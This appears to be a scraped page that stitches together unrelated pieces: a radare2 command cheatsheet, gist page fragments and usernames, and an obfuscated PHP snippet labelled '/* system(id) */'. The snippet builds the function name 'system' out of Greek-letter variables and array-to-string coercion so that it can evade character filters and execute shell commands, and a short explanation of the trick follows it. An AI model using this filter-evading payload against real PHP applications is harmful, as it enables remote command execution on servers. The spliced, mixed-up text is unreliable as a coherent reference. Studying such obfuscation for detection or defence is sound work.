load without any analysis (file header at offset 0x0): r2 -n /path/to/file
- analyze all:
aa - show sections:
iS - list functions:
afl - list imports:
ii - list entrypoints:
ie - seek to function:
s sym.main
ragouzal rgouzal
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| /* system(id) */ | |
| <?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?> | |
| <!-- | |
| Explanation: | |
| - Some of the characters might look like alphanumeric, but they are Unicode characters. | |
| - 'ArrayΦ' <-> [].Φ | |
| - 1 <-> ![] | |
| - 'a' <-> ([].Φ)[![]+![]+![]] |
williballenthin
/ yet another radare2 cheatsheet.md
Last active
September 11, 2025 13:11
